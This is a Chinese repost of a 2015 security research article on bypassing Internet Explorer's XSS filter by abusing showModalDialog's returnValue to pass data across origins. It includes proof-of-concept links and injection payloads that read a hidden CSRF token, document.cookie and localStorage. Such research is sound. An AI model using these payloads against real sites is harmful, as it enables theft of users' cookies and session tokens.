转载

利用showModalDialog绕过IE的XSS过滤

今天我想与大家分享一篇使用showModalDialog绕过IE的Xss过滤的文章。

showModalDialog函数已经存在许多年了,虽然现目前在WEB标准中已经看不到它的身影,但它有一个独特的机制,我认为我为其写的这篇文章是值得的。该函数支持IE, Firefox以及Safari。注意Chrome37时就取消了对该函数的支持!

首先,我们来总结以下showModalDialog的使用方法

利用showModalDialog绕过IE的XSS过滤

第一个参数就是你想要在模拟对话框中打开的URL,第二个参数是你想传递给模拟对话框参数,你可以在模拟窗口中通过window.dialogArguments特性使用它。

通过window.dialogArguments传递参数,这两个窗口必须同源。

但是他们的returnValue值不同,在Safari和IE下两个窗口不需要同源,而在Firefox两个窗口就需要同源了。

下面是我的测试地址:

http://vulnerabledoma.in/showModalDialog/opener.html

Safari可以轻松的将其传递给不同的源,请点击 "x-origin" 按钮进行测试。

从IE上进行复制,我们需要3xx重定向,请点击"x-origin(redirect)" 按钮进行测试。

通过Safari和IE中returnValue的特性,我们可以将信息传递给另外一个源。这可能会给目前许多Web应用带来威胁,当然我不会在2015年提倡大家安全使用showModalDialog。

绕过IE Xss过滤

可利用条件:

1.JS中存在Xss 2.JS中包含敏感信息

下面为我的测试页面:

http://vulnerabledoma.in/xss_token?q=[XSS_HERE]

<form name=form> <input type=hidden name=token value=f9d150048b> </form> <script>var q="[XSS_HERE]"</script>

眼见为实,耳听为虚。请使用IE看看下面的POC

http://l0.cm/xssfilter_bypass/showModalDialog.html

如果顺利当你关闭模拟对话时,你会看到弹出token字符串。

我们来看看细节。你将会重定向到

http://vulnerabledoma.in/xss_token?q= %22%3BreturnValue=form.token.value//

注入有效载荷:

<form name=form> <input type=hidden name=token value=f9d150048b> </form> <script>var q="";returnValue=form.token.value//"</script>

接着,token传递给returnValue。

无需多言,它的工作原理:

";returnValue=document.cookie// ";returnValue=localStorage.key//

我有尝试通过window.opener访问另一个页面的窗口目标(window object)

理解了么?

仅供参考

之前我的博客中有关于绕过Xss过滤的研究,全是日文见谅。

如果你对其他过滤方法感兴趣,欢迎使用Google搜寻。

ブラウザのXSS保護機能をバイパスする(1) (2012/2)

ブラウザのXSS保護機能をバイパスする(2) (2012/3)

ブラウザのXSS保護機能をバイパスする(3) (2012/9)

ブラウザのXSS保護機能をバイパスする(4) (2014/9)

ブラウザのXSS保護機能をバイパスする(5) (2014/10)

在未来我将尽量使用英文来更新博客,谢谢

Update(2015/6/17)

我找到一种方法通过returnValue传递其他同源页面的信息。

无论如何,请进入下面的地址,并点击go按钮

http://l0.cm/xssfilter_bypass/showModalDialog2.html

如果顺利,你能够在弹出的窗口中看到来自其他同源页面的信息"<h1>This is secret Text!</h1>"

在这个POC,我们不需要3xx重定向,可以在来自x-origin页面存在着showModalDialog的iframe中设置returnValue。

* 参考来源 mksben ,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

正文到此结束
Loading...